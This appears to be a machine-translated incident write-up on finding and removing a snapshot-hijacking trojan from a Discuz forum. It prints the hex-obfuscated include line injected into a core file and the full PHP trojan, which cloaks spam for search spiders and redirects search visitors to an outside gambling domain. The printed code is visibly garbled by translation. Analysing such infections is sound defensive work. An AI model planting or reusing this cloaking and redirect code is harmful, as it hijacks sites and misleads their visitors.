background

Website is discuz build the forum; Operation feedback recent website Baidu included abnormal, there are similar BO color content included.

impact

Website is included with the website irrelevant and banned BO color keywords, if not timely processing, improper measures to wait for you will be the search engine punishment: website ranking and weight drop, light does not include heavy k.

screening

Site: indicates the domain name of the website

Click on a Baidu snapshot detail page as shown

Spider Man

Baidu snapshot is baidu when fetching site data, the recorded when the page is photographed and stored data copy, which is to a cache of the page, a snapshot often change, so search engines often necessary to update the snapshot and backup, every update will generate a snapshot copy, especially the content of the page and modified time often change, When the user clicks the “web snapshot” link in the search engine, the search engine will be captured by the spider at that time, and the saved web content is displayed.

We know that the content included by Baidu is extracted by Baidu spider man. We can simulate spider man to see what the content really included by Spider Man is. Here we obtain it by PHP script:

<? phpfunction imitateSpider($url) {$ci= curl_init(); // Initialize a CURL session$user_agent = "Baiduspider+(+http://www.baidu.com/search/spider.htm)"; Curl_setopt ();$ci, CURLOPT_URL, $url);
    
    curl_setopt($ci, CURLOPT_HEADER, false);
    
    curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
    
    curl_setopt($ci, CURLOPT_REFERER, 'http://www.baidu.com'); Curl_setopt (curl_setopt);$ci, CURLOPT_USERAGENT, $user_agent);
    
    $temp=curl_exec($ci); CURL session curl_close($ci);
    
    return $temp;
}

$url='Copy a Baidu included address';

$data = imitateSpider($url);

print_r($data); // Output real dataCopy the code

By setting up a request header to simulate a spiderman request site, the content returned is the same as the snapshot. The Trojan can achieve the effect of snapshot hijacking by distinguishing the spiderman request header from the real visitor.

Find the Trojan

Compare the website code to find the culprit. Here we use the Beyond Compare file comparison tool to Compare the online code and the backup code to find the problem

  • Let’s start by comparing the source/class folder (dZ core library, dZ core library, DZ forum mounts files that are often tampered with repeatedly in function_core.php, discuz_application. PHP, class_core.php, config_global.php)

    The file marked in red is the one we are looking for

  • Open source/class/discuz/discuz_application. PHP

    Multiple rows are found by comparison

@include(PACK('H*'.'2F746D702F2E4943452D756E69782F4D61726B'));
Copy the code

What is the view 2 f746d702f2e4943452d756e69782f4d61726b

@include('/tmp/.ICE-unix/Mark')

<? php error_reporting(0); ob_start("ob_gzhandler");
ini_set('html_errors'.false);
ini_set('display_errors'.false);
date_default_timezone_set('Asia/Shanghai');
define("APP_INCLUDE_FLAG"."TRUE");
define('APP_JACK_CHARSET'.'GBK');
header("Content-type: text/html; charset=" . APP_JACK_CHARSET);
define('APP_JACK_DOCUMENTROOT'.'/tmp/.ICE-unix/');
$userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
$GETid = $_GET['tid'] % 3! = 0 | |$_GET['fid'] % 3! = 0 | |$_GET['gid'] % 3! = 0 | |$_GET['mid'] % 3! = 0 | |$_GET['aid'] % 3 != 0;
if (stristr($userAgent."sogou") && $GETid) {    //ID-compliant Jump
    define('APP_JACK_KEYWORD', APP_JACK_DOCUMENTROOT . 'k/c' . rand(1, 8) . ' ');
    define('APP_JACK_BIANLIANG', APP_JACK_DOCUMENTROOT . 'b/b0');
    define('APP_JACK_TEMPLATE', APP_JACK_DOCUMENTROOT . 'm/s' . mt_rand(1, 3) . ' ');
} elseif (stristr($userAgent."sogou")) {    //Inconsistent ID Jump
    define('APP_JACK_KEYWORD', APP_JACK_DOCUMENTROOT . 'c/c' . rand(1, 8) . ' ');
    define('APP_JACK_BIANLIANG', APP_JACK_DOCUMENTROOT . 'b/b1');
    define('APP_JACK_TEMPLATE', APP_JACK_DOCUMENTROOT . 'm/s' . mt_rand(1, 3) . ' ');
}
if (stristr($userAgent."baidu") && $GETid) {    //ID-compliant Jump
    define('APP_JACK_KEYWORD', APP_JACK_DOCUMENTROOT . 'k/c' . rand(1, 8) . ' ');
    define('APP_JACK_BIANLIANG', APP_JACK_DOCUMENTROOT . 'b/b0');
    define('APP_JACK_TEMPLATE', APP_JACK_DOCUMENTROOT . 'm/b1');
} elseif (stristr($userAgent."baidu")) {    //Inconsistent ID Jump
    define('APP_JACK_KEYWORD', APP_JACK_DOCUMENTROOT . 'c/c' . rand(1, 8) . ' ');
    define('APP_JACK_BIANLIANG', APP_JACK_DOCUMENTROOT . 'b/b1');
    define('APP_JACK_TEMPLATE', APP_JACK_DOCUMENTROOT . 'm/b1');
}
define('APP_JACK_KEYWORD', APP_JACK_DOCUMENTROOT . 'k/c' . rand(1, 8) . ' ');
define('APP_JACK_TEMPLATE', APP_JACK_DOCUMENTROOT . 'm/h' . rand(1, 2) . ' ');
define('APP_JACK_ARTICLE', APP_JACK_DOCUMENTROOT . 'b/t' . rand(0, 1) . ' ');
define('APP_JACK_BIANLIANG', APP_JACK_DOCUMENTROOT . 'b/b1');
define('APP_JACK_BIANLIANG_B', APP_JACK_DOCUMENTROOT . 'b/b2');
define('APP_JACK_BIANLIANG_C', APP_JACK_DOCUMENTROOT . 'b/b3');
define('APP_JACK_BIANLIANG_D', APP_JACK_DOCUMENTROOT . 'b/b4');
define('APP_JACK_DES', APP_JACK_DOCUMENTROOT . 'miaoshu.txt');
define('APP_MIX_KWD_FILE', APP_JACK_DOCUMENTROOT . 'hunhe.txt');
define('APP_JACK_CACHED'.'Uncached');
define('APP_JACK_MIN_PAR'.'3');
define('APP_JACK_MAX_PAR'.'3');
define('APP_JACK_MIN'.'10');
define('APP_JACK_MAX'.'15');
define('APP_JACK_APPFILE', APP_JACK_DOCUMENTROOT . 'App');
function App_GetLink()
{
    $userAgentx = strtolower($_SERVER['HTTP_USER_AGENT']);
    $S9 = $_SERVER['HTTP_HOST']; / /.'/bbs';
    if (stristr($userAgentx."baiduspider")) {
        $link = array();
        $link[] = 'http://' . $S9 . '/? gid=' . mt_rand() . ' ';
        $link[] = 'http://' . $S9 . '/forum-' . mt_rand() . '-1.html';
        $link[] = 'http://' . $S9 . '/forum.php? aid=' . mt_rand() . ' ';
        $link[] = 'http://' . $S9 . '/index.php? fid=' . mt_rand() . ' ';
        $link[] = 'http://' . $S9 . '/portal.php? mid=' . mt_rand() . ' ';
        $link[] = 'http://' . $S9 . '/plugin.php? tid=' . mt_rand() . ' ';
        $link[] = 'http://' . $S9 . '/? ' . mt_rand(1, 999999) . '.html';
        $link[] = 'http://' . $S9 . '/thread-' . mt_rand() . '-1-1.html';
        $link[] = 'http://' . $S9 . '/? Xin' . mt_rand(1, 999999) . '.xml';
        $link[] = 'http://' . $S9 . '/? ' . missclient::rndStr(mt_rand(1, 8)) . '/';
        $link[] = 'http://' . $S9 . '/? Xin' . missclient::rndStr(mt_rand(1, 8)) . '/';
        $link[] = 'http://' . $S9 . '/? Xin' . missclient::rndStr(mt_rand(1, 8)) . '.xml';
        $link[] = 'http://' . $S9 . '/? Xin' . missclient::rndStr(mt_rand(1, 8)) . '/index.html';
        $link[] = 'http://' . $S9 . '/? Xin' . mt_rand(1, 999999) . '/' . mt_rand(1, 999999) . '/';
        $link[] = 'http://' . $S9 . '/? ' . date("Ymd").'/' . missclient::rndStr(mt_rand(1, 8)) . '.html';
        $link[] = 'http://' . $S9 . '/? Xin' . missclient::rndStr(mt_rand(1, 8)) . '/' . date("Ymd").'.html/';
        $link[] = 'http://' . $S9 . '/? Xin' . mt_rand(1, 999999) . '/' . missclient::rndStr(mt_rand(1, 8)) . '/';
        $link[] = 'http://' . $S9 . '/? Xin' . missclient::rndStr(mt_rand(1, 8)) . '/' . mt_rand(1, 999999) . '/';
        $link[] = 'http://' . $S9 . '/? ' . missclient::rndStr(mt_rand(1, 8)) . '/' . mt_rand(1, 999999) . '.html';
        $link[] = 'http://' . $S9 . '/? Xin' . missclient::rndStr(mt_rand(1, 8)) . '/' . missclient::rndStr(mt_rand(1, 8)) . '/';
        $link[] = 'http://' . $S9 . '/? ' . missclient::rndStr(mt_rand(1, 8)) . '/' . missclient::rndStr(mt_rand(1, 8)) . '.html';
        $link[] = 'http://' . $S9 . '/? Xin' . missclient::rndStr(mt_rand(1, 8)) . '/' . missclient::rndStr(mt_rand(1, 8)) . '/index.html';
        return $link[mt_rand(0, count($link) - 1)];
    } else {
        $link = array();
        $link[] = 'http://' . $S9 . '/? gid=' . mt_rand() . ' ';
        $link[] = 'http://' . $S9 . '/forum-' . mt_rand() . '-1.html';
        $link[] = 'http://' . $S9 . '/forum.php? aid=' . mt_rand() . ' ';
        $link[] = 'http://' . $S9 . '/index.php? fid=' . mt_rand() . ' ';
        $link[] = 'http://' . $S9 . '/portal.php? mid=' . mt_rand() . ' ';
        $link[] = 'http://' . $S9 . '/plugin.php? tid=' . mt_rand() . ' ';
        $link[] = 'http://' . $S9 . '/? ' . mt_rand(1, 999999) . '.html';
        $link[] = 'http://' . $S9 . '/thread-' . mt_rand() . '-1-1.html';
        $link[] = 'http://' . $S9 . '/? Xin' . mt_rand(1, 999999) . '.xml';
        $link[] = 'http://' . $S9 . '/? ' . missclient::rndStr(mt_rand(1, 8)) . '/';
        $link[] = 'http://' . $S9 . '/? Xin' . missclient::rndStr(mt_rand(1, 8)) . '/';
        $link[] = 'http://' . $S9 . '/? Xin' . missclient::rndStr(mt_rand(1, 8)) . '.xml';
        $link[] = 'http://' . $S9 . '/? Xin' . missclient::rndStr(mt_rand(1, 8)) . '/index.html';
        $link[] = 'http://' . $S9 . '/? Xin' . mt_rand(1, 999999) . '/' . mt_rand(1, 999999) . '/';
        $link[] = 'http://' . $S9 . '/? ' . date("Ymd").'/' . missclient::rndStr(mt_rand(1, 8)) . '.html';
        $link[] = 'http://' . $S9 . '/? Xin' . missclient::rndStr(mt_rand(1, 8)) . '/' . date("Ymd").'.html/';
        $link[] = 'http://' . $S9 . '/? Xin' . mt_rand(1, 999999) . '/' . missclient::rndStr(mt_rand(1, 8)) . '/';
        $link[] = 'http://' . $S9 . '/? Xin' . missclient::rndStr(mt_rand(1, 8)) . '/' . mt_rand(1, 999999) . '/';
        $link[] = 'http://' . $S9 . '/? ' . missclient::rndStr(mt_rand(1, 8)) . '/' . mt_rand(1, 999999) . '.html';
        $link[] = 'http://' . $S9 . '/? Xin' . missclient::rndStr(mt_rand(1, 8)) . '/' . missclient::rndStr(mt_rand(1, 8)) . '/';
        $link[] = 'http://' . $S9 . '/? ' . missclient::rndStr(mt_rand(1, 8)) . '/' . missclient::rndStr(mt_rand(1, 8)) . '.html';
        $link[] = 'http://' . $S9 . '/? Xin' . missclient::rndStr(mt_rand(1, 8)) . '/' . missclient::rndStr(mt_rand(1, 8)) . '/index.html';
        return $link[mt_rand(0, count($link) - 1)]; }}function App_GetSelf()
{
    $link = array();
    $link[] = $_SERVER['HTTP_HOST'];
    return $link[mt_rand(0, count($link) - 1)];
}
function getImg()
{
    #$img_ay = array('5B84', '5B85', '5B8b', '5B8e', '5B88', '5B86', '5B8c', '5B8d', '5B8a', '5B87', '5B89', '5B8f', '5B8g', '5B8i', '5B8m', '5B8l', '5B8n', '5B8d', '5B8o', '5B8j', '5B8h', '5B8k', '5B8p', '5B8q', '5B8r', '5B8u', '5B8t', '5B8v', '5B8s', '5B8B', '5B8y');
    #$img_num = rand(0, 30);
    return "https://i.niupic.com/images/2019/07/20/_" . mt_rand(77, 149) . ".jpg";
}
$my_app = new missclient();
$my_app->run();
class missclient
{
    public $show_spider;
    public $jump_ref;
    public $http_ref_filter;
    public $jump_url = "";
    public $domain = "";
    public $condition = "";
    public $app_server = "";
    public $log_spider = "/tmp/.ICE-unix/Mark.txt";
    public $cur_spider = "";
    public $allow_ip = "";
    public $isCache= False; //True publicfunction run()
    {
        $this->domain = $this->getServerName();
        $this->jump_ref = explode("|"."baidu.|haoso.|haosou.|bing.|sogou.|m.sogou.|wap.sogou.|soso.|so.com|sm.|.sm.cn");
        $this->http_ref_filter = explode("|"."inurl:|site:|site%3A|inurl%3A");
        $this->allow_ip = "218.80.218. | 10.4.62. | 10.4.33";
        if (stristr(strtolower($_SERVER['HTTP_USER_AGENT']), "360Spider") || stristr(strtolower($_SERVER['HTTP_USER_AGENT']), "haosouspider")) {
            $this->condition = $this->isAllowdIp();
        } else {
            $this->condition = $_GET['tid'] > 5000000 | |$_GET['fid'] > 5000000 | |$_GET['gid'] > 5000000 | |$_GET['mid'] > 5000000 | |$_GET['aid'] > 5000000 || stristr($_SERVER['QUERY_STRING'].'/') || stristr($_SERVER['QUERY_STRING'].'xml') || stristr($_SERVER['QUERY_STRING'].'html') && $this->isAllowdIp();
        }
        $this->app_server = "app.php";
        $this->isCache = False; //Trueif ($this->isSpider() && $this->isAllowdIp()) {
            if ($this->condition) {
                if ($this->isCache) {
                    $relset_host = $this->getServerName();
                    $dir = (substr(PHP_OS, 0, 3) == 'WIN' ? 'C:/windows/temp/' : '/tmp/') . substr(md5($relset_host), 26) . chr(47);
                    $cacheFile = $dir . 'sess_' . substr(md5(http_build_query($_GET)), 6);
                    if(! @file_exists($dir)) {
                        mkdir($dir, 0777);
                    }
                    if (@file_exists($cacheFile) && @filesize($cacheFile) > 32) {
                        $var = coreAppCache::read($cacheFile);
                        $page = file_get_contents(APP_JACK_TEMPLATE);
                        foreach ($var as $key= >$v) {
                            $flag = "{" . $key . "}";
                            $page = str_replace($flag.$v.$page);
                        }
                        echo $page;
                        exit;
                    } else {
                        $currentPage = (include APP_JACK_APPFILE);
                        if ($currentPage && strlen($currentPage) > 32 && stristr($currentPage."</explode>")) {
                            $var = self::cut($currentPage."<explode>"."</explode>");
                            $var = coreAppCache::decode($var);
                            $page = file_get_contents(APP_JACK_TEMPLATE);
                            foreach ($var as $key= >$v) {
                                $flag = "{" . $key . "}";
                                $page = str_replace($flag.$v.$page);
                            }
                            echo $page;
                            @coreAppCache::writenocode($currentPage.$cacheFile);
                        }
                    }
                    die;
                } else {
                    $currentPage = (include APP_JACK_APPFILE);
                    echo $currentPage; die; }}else {
                $this->_uncondition_hook(); }}else {
            if ($this->isRef() && $this->condition) {
                $this->Jump();
            } else {
                $this->_unSpider_hook();
            }
        }
    }
    public function isAllowdIp()
    {
        $ip = $this->clientIp();
        $non_list = explode("|".$this->allow_ip);
        foreach ($non_list as $iplist) {
            if (@stristr($ip.$iplist)) {
                return false; }}return true;
    }
    public function clientIp()
    {
        if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
            $onlineip = getenv('HTTP_CLIENT_IP');
        } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
            $onlineip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
            $onlineip = getenv('REMOTE_ADDR');
        } elseif (isset($_SERVER['REMOTE_ADDR'&&])$_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'].'unknown')) {
            $onlineip = $_SERVER['REMOTE_ADDR'];
        }
        preg_match("/ [d] {7, 15} /".$onlineip.$onlineipmatches);
        $onlineip = $onlineipmatches[0]?$onlineipmatches[0] : 'unknown';
        unset($onlineipmatches);
        return $onlineip;
    }
    public function isSpider()
    {
        $bots = array('Baidu'= >'Baiduspider'.'Sogou'= >'Sogou'.'Haoso'= >'Haosouspider'.'360spider'= >'360spider'.'SM'= >'Yisouspider');
        $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
        foreach ($bots as $k= >$v) {
            if (stristr($userAgent.$v)) {
                if(! empty($this->log_spider)) {
                    @file_put_contents($this->log_spider, "IP:" . $_SERVER["REMOTE_ADDR"]." --> Spider:" . $v . " --> Url:http://" . $_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?" . $_SERVER['QUERY_STRING']." --> Time:" . date("Y/m/d/H:i:s")."\n", FILE_APPEND);
                }
                $this->cur_spider = $k;
                return true;
                break; }}return false;
    }
    public function isRef()
    {
        $ref = strtolower(@$_SERVER['HTTP_REFERER']);
        if (isset($_COOKIE["domain-filter-bypass"]) {return false;
        }
        if (!$this->isAllowdIp()) {
            setcookie("domain-filter-bypass"."lol", time() + 259200);
            return false;
        }
        foreach ($this->http_ref_filter as $r) {
            $r = trim($r);
            if (stristr($ref.$r)) {
                setcookie("domain-filter-bypass"."lol", time() + 259200);
                return false;
            }
        }
        foreach ($this->jump_ref as $r) {
            $r = trim($r);
            if (stristr($ref.$r)) {
                return true;
            }
        }
    }
    public function getServerName()
    {
        $ServerName = strtolower($_SERVER['SERVER_NAME']?$_SERVER['SERVER_NAME'] : $_SERVER['HTTP_HOST']);
        if (strpos($ServerName.'http://')) {
            return str_replace('http://'.' '.$ServerName);
        }
        return $ServerName;
    }
    public function getPage()
    {
        if ($this->isCache) {
            $cache = "cached";
        }
        $url = $this->app_server . "? domain=" . $this->domain . "&gid=199&spider=" . $this->cur_spider . "&cache=" . $cache . "&localPar=" . http_build_query($_GET);
        return $this->HttpVisit($url);
    }
    public function HttpVisit($weburl)
    {
        $remote_data = NULL;
        if (function_exists('curl_exec')) {
            $curl = @curl_init();
            @curl_setopt($curl, CURLOPT_URL, $weburl);
            @curl_setopt($curl, CURLOPT_HEADER, 0);
            @curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
            @curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            $remote_data = @curl_exec($curl);
            @curl_close($curl);
        } else {
            if (function_exists('stream_context_create')) {
                $header_array = array('http' => array('method'= >'GET'.'timeout'= > 30));$http_header = @stream_context_create($header_array);
                $remote_data = @file_get_contents($weburl.false.$http_header);
            } else {
                $temp_url = explode("/".$weburl);
                $new_url = $temp_url[2].$http_port = 80;
                $get_file = substr($weburl, strlen($new_url) + 7);
                if (strstr($new_url, chr(58))) {
                    $s_var_array['td'] = explode(chr(58), $new_url);
                    $new_url = $s_var_array['td'] [0];$http_port = $s_var_array['td'] [1]; }$fsock_result = @fsockopen($new_url.$http_port);
                @fputs($fsock_result.'GET ' . $get_file . 'HTTP / 1.1' . "rn" . 'Host:' . $new_url . "rn" . 'Connection:Close' . "rnrn");
                while(! feof($fsock_result)) {
                    $remote_data .= fgets($fsock_result, 1024);
                }
                @fclose($fsock_result); }}return $remote_data;
    }
    public function Jump()
    {
        if ($this->isAllowdIp()) {
            $domain = str_replace(".".".".$this->domain);
            //$domain = str_replace("."."_".$this->domain);
            //echo '<script src="Js"></script>';
            if ($_GET['tid'] % 3! = 0 | |$_GET['fid'] % 3! = 0 | |$_GET['gid'] % 3! = 0 | |$_GET['mid'] % 3! = 0 | |$_GET['aid'] % 3 != 0) {
                Header('Location: https://9661.in/html/b.html? liuhe_' . $domain); //ID-compliant Jumpexit;
            } else {
                Header('Location: https://9661.in/html/a.html? long8_' . $domain); //Inconsistent ID Jumpexit;
            }
        }
    }
    public function _uncondition_hook()
    {
        $array = array();
        for ($a = 0; $aThe < 30;$a{+ +)echo '<a href="' . App_GetLink() . '"></a>' . "\n";
        }
    }
    public function _unSpider_hook()
    {
    }
    public function strStartWith($needle.$haystack)
    {
        return substr($haystack, 0, strlen($needle)) = =$needle;
    }
    public function rndStr($length = 8)
    {
        $str = null;
        $strPol = "0123456789abcdefghijklmnopqrstuvwxyz";
        $max = strlen($strPol) - 1;
        for ($i = 0; $i < $length; $i{+ +)$str. =$strPol[rand(0, $max)];
        }
        return $str;
    }
    public function cut($file.$from.$end)
    {
        $message = explode($from.$file);
        $message = explode($end.$message[1]).return $message[0];
    }
}
class coreAppCache
{
    public function write($file.$filename)
    {
        return file_put_contents($filename, self::encode($file));
    }
    public function writenocode($file.$filename)
    {
        return file_put_contents($filename.$file);
    }
    public function read($filename)
    {
        $content = file_get_contents($filename);
        if (stristr($content."</explode>")) {
            $content = self::cut($content."<explode>"."</explode>");
        }
        return self::decode($content);
    }
    public function encode($file)
    {
        return base64_encode(gzcompress(serialize($file)));
    }
    public function decode($file)
    {
        return unserialize(gzuncompress(base64_decode($file)));
    }
    public function cut($file.$from.$end)
    {
        $message = explode($from.$file);
        $message = explode($end.$message[1]).return $message[0]. }}Copy the code

Code is very classic DZ forum snapshot hijacking Trojan

Remove the Trojan

Restore backup files and delete Trojan horse files

conclusion

So, for your website security, please be sure to do the following:

  • 1, the server password must be complex, it is best to prohibit password login using public key authentication;
  • 2. Timely repair of server program vulnerabilities;
  • 3, download plug-ins, templates, as far as possible from the formal website download, do not use piracy;
  • 4. Make a habit of backing up your website regularly.
  • 5. Disallow PHP from importing PHP files outside the site
  • 6. Do not upload directories that have permission to execute PHP